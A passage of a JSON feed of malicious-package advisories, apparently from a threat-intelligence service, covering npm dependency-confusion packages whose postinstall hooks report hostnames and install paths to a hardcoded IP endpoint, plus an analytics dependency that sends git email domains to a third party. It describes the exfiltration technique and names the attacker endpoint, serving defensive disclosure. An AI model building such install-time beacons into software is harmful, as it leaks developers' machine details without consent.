"2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-banner/2.0.0", "version": "2.0.0"}
{"classification": "tp", "details": "@ppa-web-components/ppa-banner 0.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18272"], "package": "@ppa-web-components/ppa-banner", "public_id": "PROTET-NPM-2026-106", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-banner/0.0.1", "version": "0.0.1"}
{"classification": "tp", "details": "@ppa-web-components/ppa-headerfooter 2.0.0 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18274"], "package": "@ppa-web-components/ppa-headerfooter", "public_id": "PROTET-NPM-2026-105", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-headerfooter/2.0.0", "version": "2.0.0"}
{"classification": "tp", "details": "@ppa-web-components/ppa-hotel-collection 1.1.0 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18275"], "package": "@ppa-web-components/ppa-hotel-collection", "public_id": "PROTET-NPM-2026-104", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-hotel-collection/1.1.0", "version": "1.1.0"}
{"classification": "tp", "details": "@ppa-web-components/ppa-headerfooter 3.0.0 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18274"], "package": "@ppa-web-components/ppa-headerfooter", "public_id": "PROTET-NPM-2026-103", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-headerfooter/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "@ppa-web-components/ppa-banner 2.0.1 is published under a name that matches a private internal package scope, at artificially high or unusual versions, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18272"], "package": "@ppa-web-components/ppa-banner", "public_id": "PROTET-NPM-2026-101", "published_at": "2026-10-25T15:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends hostname and install paths to a remote server at install time", "updated_at": "2026-10-25T15:19:01Z", "url": "https://protet.io/intel/npm/@ppa-web-components/ppa-banner/2.0.1", "version": "2.0.1"}
{"classification": "btp", "details": "Installing @ory/goose 1.5.2 installs its dependency reova 0.7.0, whose postinstall script runs `node index.js`. reova only runs when the depending package enables it in its package.json, as @ory/goose does (reova.enabled true, endpoint https://telemetry.reo.dev/data); installers can disable it by setting DO_NOT_TRACK=1 or REOVA_ANALYTICS=false before installing. At install time the script sends the package name and version, platform, operating system, CPU count, whether it runs in CI, a random per-install id, and the email domain (not the full address) read from the user's ~/.gitconfig to that endpoint over HTTPS. The installing user is not asked for consent. No credentials or source files are read, and nothing persists after the install. Impact: every developer and CI machine that installs the package without the opt-out discloses its employer's email domain and basic host details to a third-party analytics service. Remediation: set DO_NOT_TRACK=1 (or REOVA_ANALYTICS=false) in the build environment, install with --ignore-scripts where possible, or block telemetry.reo.dev on build hosts. Check whether newer versions still enable reova.", "ecosystem": "npm", "osv_aliases": [], "package": "@ory/goose", "public_id": "PROTET-NPM-2026-95", "published_at": "2026-10-25T07:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Install-time analytics dependency reads the git email domain and sends it with host details to a third party", "updated_at": "2026-10-25T07:19:01Z", "url": "https://protet.io/intel/npm/@ory/goose/1.5.2", "version": "1.5.2"}
{"classification": "btp", "details": "Installing @ory/cursor 1.5.2 installs its dependency reova 0.7.0, whose postinstall script runs `node index.js`. reova only runs when the depending package enables it in its package.json, as @ory/cursor does (reova.enabled true, endpoint https://telemetry.reo.dev/data); installers can disable it by setting DO_NOT_TRACK=1 or REOVA_ANALYTICS=false before installing. At install time the script sends the package name and version, platform, operating system, CPU count, whether it runs in CI, a random per-install id, and the email domain (not the full address) read from the user's ~/.gitconfig to that endpoint over HTTPS. The installing user is not asked for consent. No credentials or source files are read, and nothing persists after the install. Impact: every developer and CI machine that installs the package without the opt-out discloses its employer's email domain and basic host details to a third-party analytics service. Remediation: set DO_NOT_TRACK=1 (or REOVA_ANALYTICS=false) in the build environment, install with --ignore-scripts where possible, or block telemetry.reo.dev on build hosts. Check whether newer versions still enable reova.", "ecosystem": "npm", "osv_aliases": [], "package": "@ory/cursor", "public_id": "PROTET-NPM-2026-94", "published_at": "2026-10-25T07:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Install-time analytics dependency reads the git email domain and sends it with host details to a third party", "updated_at": "2026-10-25T07:19:01Z", "url": "https://protet.io/intel/npm/@ory/cursor/1.5.2", "version": "1.5.2"}
{"classification": "btp", "details": "Installing @ory/amp 1.5.2 installs its dependency reova 0.7.0, whose postinstall script runs `node index.js`. reova only runs when the depending package enables it in its package.json, as @ory/amp does (reova.enabled true, endpoint https://telemetry.reo.dev/data); installers can disable it by setting DO_NOT_TRACK=1 or REOVA_ANALYTICS=false before installing. At install time the script sends the package name and version, platform, operating system, CPU count, whether it runs in CI, a random per-install id, and the email domain (not the full address) read from the user's ~/.gitconfig to that endpoint over HTTPS. The installing user is not asked for consent. No credentials or source files are read, and nothing persists after the install. Impact: every developer and CI machine that installs the package without the opt-out discloses its employer's email domain and basic host details to a third-party analytics service. Remediation: set DO_NOT_TRACK=1 (or REOVA_ANALYTICS=false) in the build environment, install with --ignore-scripts where possible, or block telemetry.reo.dev on build hosts. Check whether newer versions still enable reova.", "ecosystem": "npm", "osv_aliases": [], "package": "@ory/amp", "public_id": "PROTET-NPM-2026-93", "published_at": "2026-10-25T07:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Install-time analytics dependency reads the git email domain and sends it with host details to a third party", "updated_at": "2026-10-25T07:19:01Z", "url": "https://protet.io/intel/npm/@ory/amp/1.5.2", "version": "1.5.2"}
{"classification": "btp", "details": "Installing @ory/gemini-cli 1.5.2 installs its dependency reova 0.7.0, whose postinstall script runs `node index.js`. reova only runs when the depending package enables it in its package.json, as @ory/gemini-cli does (reova.enabled true, endpoint https://telemetry.reo.dev/data); installers can disable it by setting DO_NOT_TRACK=1 or REOVA_ANALYTICS=false before installing. At install time the script sends the package name and version, platform, operating system, CPU count, whether it runs in CI, a random per-install id, and the email domain (not the full address) read from the user's ~/.gitconfig to that endpoint over HTTPS. The installing user is not asked for consent. No credentials or source files are read, and nothing persists after the install. Impact: every developer and CI machine that installs the package without the opt-out discloses its employer's email domain and basic host details to a third-party analytics service. Remediation: set DO_NOT_TRACK=1 (or REOVA_ANALYTICS=false) in the build environment, install with --ignore-scripts where possible, or block telemetry.reo.dev on build hosts. Check whether newer versions still enable reova.", "ecosystem": "npm", "osv_aliases": [], "package": "@ory/gemini-cli", "public_id": "PROTET-NPM-2026-92", "published_at": "2026-10-25T07:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Install-time analytics dependency reads the git email domain and sends it with host details to a third party", "updated_at": "2026-10-25T07:19:01Z", "url": "https://protet.io/intel/npm/@ory/gemini-cli/1.5.2", "version": "1.5.2"}
{"classification": "btp", "details": "Installing @ory/github-copilot 1.5.2 installs its dependency reova 0.7.0, whose postinstall script runs `node index.js`. reova only runs when the depending package enables it in its package.json, as @ory/github-copilot does (reova.enabled true, endpoint https://telemetry.reo.dev/data); installers can disable it by setting DO_NOT_TRACK=1 or REOVA_ANALYTICS=false before installing. At install time the script sends the package name and version, platform, operating system, CPU count, whether it runs in CI, a random per-install id, and the email domain (not the full address) read from the user's ~/.gitconfig to that endpoint over HTTPS. The installing user is not asked for consent. No credentials or source files are read, and nothing persists after the install. Impact: every developer and CI machine that installs the package without the opt-out discloses its employer's email domain and basic host details to a third-party analytics service. Remediation: set DO_NOT_TRACK=1 (or REOVA_ANALYTICS=false) in the build environment, install with --ignore-scripts where possible, or block telemetry.reo.dev on build hosts.", "ecosystem": "npm", "osv_aliases": [], "package": "@ory/github-copilot", "public_id": "PROTET-NPM-2026-72", "published_at": "2026-10-23T12:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Install-time analytics dependency reads the git email domain and sends it with host details to a third party", "updated_at": "2026-10-23T12:19:01Z", "url": "https://protet.io/intel/npm/@ory/github-copilot/1.5.2", "version": "1.5.2"}
{"classification": "btp", "details": "Installing @ory/goose 1.5.3 installs its dependency reova 0.7.0, whose postinstall script runs `node index.js`. reova only runs when the depending package enables it in its package.json, as @ory/goose does (reova.enabled true, endpoint https://telemetry.reo.dev/data); installers can disable it by setting DO_NOT_TRACK=1 or REOVA_ANALYTICS=false before installing. At install time the script sends the package name and version, platform, operating system, CPU count, whether it runs in CI, a random per-install id, and the email domain (not the full address) read from the user's ~/.gitconfig to that endpoint over HTTPS. The installing user is not asked for consent. No credentials or source files are read, and nothing persists after the install. Impact: every developer and CI machine that installs the package without the opt-out discloses its employer's email domain and basic host details to a third-party analytics service. Remediation: set DO_NOT_TRACK=1 (or REOVA_ANALYTICS=false) in the build environment, install with --ignore-scripts where possible, or block telemetry.reo.dev on build hosts. Check whether newer versions still enable reova.", "ecosystem": "npm", "osv_aliases": [], "package": "@ory/goose", "public_id": "PROTET-NPM-2026-71", "published_at": "2026-10-23T06:22:15Z", "schema_version": "1.0", "status": "active", "summary": "Install-time analytics dependency reads the git email domain and sends it with host details to a third party", "updated_at": "2026-10-23T06:49:02Z", "url": "https://protet.io/intel/npm/@ory/goose/1.5.3", "version": "1.5.3"}
{"classification": "btp", "details": "Installing @ory/gemini-cli 1.5.3 installs its dependency reova 0.7.0, whose postinstall script runs `node index.js`. reova only runs when the depending package enables it in its package.json, as @ory/gemini-cli does (reova.enabled true, endpoint https://telemetry.reo.dev/data); installers can disable it by setting DO_NOT_TRACK=1 or REOVA_ANALYTICS=false before installing. At install time the script sends the package name and version, platform, operating system, CPU count, whether it runs in CI, a random per-install id, and the email domain (not the full address) read from the user's ~/.gitconfig to that endpoint over HTTPS. The installing user is not asked for consent. No credentials or source files are read, and nothing persists after the install. Impact: every developer and CI machine that installs the package without the opt-out discloses its employer's email domain and basic host details to a third-party analytics service. Remediation: set DO_NOT_TRACK=1 (or REOVA_ANALYTICS=false) in the build environment, install with --ignore-scripts where possible, or block telemetry.reo.dev on build hosts. Check whether newer versions still enable reova.", "ecosystem": "npm", "osv_aliases": [], "package": "@ory/gemini-cli", "public_id": "PROTET-NPM-2026-70", "published_at": "2026-10-23T06:22:15Z", "schema_version": "1.0", "status": "active", "summary": "Install-time analytics dependency reads the git email domain and sends it with host details to a third party", "updated_at": "2026-10-23T06:49:02Z", "url": "https://protet.io/intel/npm/@ory/gemini-cli/1.5.3", "version": "1.5.3"}
{"classification": "btp", "details": "Installing @ory/cursor 1.5.3 installs its dependency reova 0.7.0, whose postinstall script runs `node index.js`. reova only runs when the depending package enables it in its package.json, as @ory/cursor does (reova.enabled true, endpoint https://telemetry.reo.dev/data); installers can disable it by setting DO_NOT_TRACK=1 or REOVA_ANALYTICS=false before installing. At install time the script sends the package name and version, platform, operating system, CPU count, whether it runs in CI, a random per-install id, and the email domain (not the full address) read from the user's ~/.gitconfig to that endpoint over HTTPS. The installing user is not asked for consent. No credentials or source files are read, and nothing persists after the install. Impact: every developer and CI machine that installs the package without the opt-out discloses its employer's email domain and basic host details to a third-party analytics service. Remediation: set DO_NOT_TRACK=1 (or REOVA_ANALYTICS=false) in the build environment, install with --ignore-scripts where possible, or block telemetry.reo.dev on build hosts. Check whether newer versions still enable reova.", "ecosystem": "npm", "osv_aliases": [], "package": "@ory/cursor", "public_id": "PROTET-NPM-2026-69", "published_at": "2026-10-23T06:22:15Z", "schema_version": "1.0", "status": "active", "summary": "Install-time analytics dependency reads the git email domain and sends it with host details to a third party", "updated_at": "2026-10-23T06:49:02Z", "url": "https://protet.io/intel/npm/@ory/cursor/1.5.3", "version": "1.5.3"}
{"classification": "btp", "details": "Installing @ory/cline 1.5.3 installs its dependency reova 0.7.0, whose postinstall script runs `node index.js`. reova only runs when the depending package enables it in its package.json, as @ory/cline does (reova.enabled true, endpoint https://telemetry.reo.dev/data); installers can disable it by setting DO_NOT_TRACK=1 or REOVA_ANALYTICS=false before installing. At install time the script sends the package name and version, platform, operating system, CPU count, whether it runs in CI, a random per-install id, and the email domain (not the full address) read from the user's ~/.gitconfig to that endpoint over HTTPS. The installing user is not asked for consent. No credentials or source files are read, and nothing persists after the install. Impact: every developer and CI machine that installs the package without the opt-out discloses its employer's email domain and basic host details to a third-party analytics service. Remediation: set DO_NOT_TRACK=1 (or REOVA_ANALYTICS=false) in the build environment, install with --ignore-scripts where possible, or block telemetry.reo.dev on build hosts. Check whether newer versions still enable reova.", "ecosystem": "npm", "osv_aliases": [], "package": "@ory/cline", "public_id": "PROTET-NPM-2026-68", "published_at": "2026-10-23T06:22:15Z", "schema_version": "1.0", "status": "active", "summary": "Install-time analytics dependency reads the git email domain and sends it with host details to a third party", "updated_at": "2026-10-23T06:49:02Z", "url": "https://protet.io/intel/npm/@ory/cline/1.5.3", "version": "1.5.3"}
{"classification": "btp", "details": "Installing @ory/amp 1.5.3 installs its dependency reova 0.7.0, whose postinstall script runs `node index.js`. reova only runs when the depending package enables it in its package.json, as @ory/amp does (reova.enabled true, endpoint https://telemetry.reo.dev/data); installers can disable it by setting DO_NOT_TRACK=1 or REOVA_ANALYTICS=false before installing. At install time the script sends the package name and version, platform, operating system, CPU count, whether it runs in CI, a random per-install id, and the email domain (not the full address) read from the user's ~/.gitconfig to that endpoint over HTTPS. The installing user is not asked for consent. No credentials or source files are read, and nothing persists after the install. Impact: every developer and CI machine that installs the package without the opt-out discloses its employer's email domain and basic host details to a third-party analytics service. Remediation: set DO_NOT_TRACK=1 (or REOVA_ANALYTICS=false) in the build environment, install with --ignore-scripts where possible, or block telemetry.reo.dev on build hosts. Check whether newer versions still enable reova.", "ecosystem": "npm", "osv_aliases": [], "package": "@ory/amp", "public_id": "PROTET-NPM-2026-67", "published_at": "2026-10-23T06:22:15Z", "schema_version": "1.0", "status": "active", "summary": "Install-time analytics dependency reads the git email domain and sends it with host details to a third party", "updated_at": "2026-10-23T06:49:02Z", "url": "https://protet.io/intel/npm/@ory/amp/1.5.3", "version": "1.5.3"}
{"classification": "tp", "details": "Installing @ecg-internal/favourites-ui 3.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18208"], "package": "@ecg-internal/favourites-ui", "public_id": "PROTET-NPM-2026-66", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/favourites-ui/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "Installing @ecg-internal/favourites-ui 2.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18208"], "package": "@ecg-internal/favourites-ui", "public_id": "PROTET-NPM-2026-65", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/favourites-ui/2.0.0", "version": "2.0.0"}
{"classification": "tp", "details": "Installing @ecg-internal/favourites-ui 1.1.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18208"], "package": "@ecg-internal/favourites-ui", "public_id": "PROTET-NPM-2026-64", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/favourites-ui/1.1.0", "version": "1.1.0"}
{"classification": "tp", "details": "Installing @ecg-internal/favourites-ui 1.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18208"], "package": "@ecg-internal/favourites-ui", "public_id": "PROTET-NPM-2026-63", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/favourites-ui/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "Installing @ecg-internal/favourites-ui 0.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18208"], "package": "@ecg-internal/favourites-ui", "public_id": "PROTET-NPM-2026-62", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/favourites-ui/0.0.1", "version": "0.0.1"}
{"classification": "tp", "details": "Installing @ecg-internal/adobe-dmp-js 2.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18206"], "package": "@ecg-internal/adobe-dmp-js", "public_id": "PROTET-NPM-2026-61", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/adobe-dmp-js/2.0.0", "version": "2.0.0"}
{"classification": "tp", "details": "Installing @ecg-internal/reviews-dialog-ui 2.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18211"], "package": "@ecg-internal/reviews-dialog-ui", "public_id": "PROTET-NPM-2026-60", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/reviews-dialog-ui/2.0.1", "version": "2.0.1"}
{"classification": "tp", "details": "Installing @ecg-internal/reviews-dialog-ui 2.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18211"], "package": "@ecg-internal/reviews-dialog-ui", "public_id": "PROTET-NPM-2026-59", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/reviews-dialog-ui/2.0.0", "version": "2.0.0"}
{"classification": "tp", "details": "Installing @ecg-internal/reviews-dialog-ui 1.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18211"], "package": "@ecg-internal/reviews-dialog-ui", "public_id": "PROTET-NPM-2026-58", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/reviews-dialog-ui/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "Installing @ecg-internal/reviews-dialog-ui 1.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18211"], "package": "@ecg-internal/reviews-dialog-ui", "public_id": "PROTET-NPM-2026-57", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@ecg-internal/reviews-dialog-ui/1.0.0", "version": "1.0.0"}
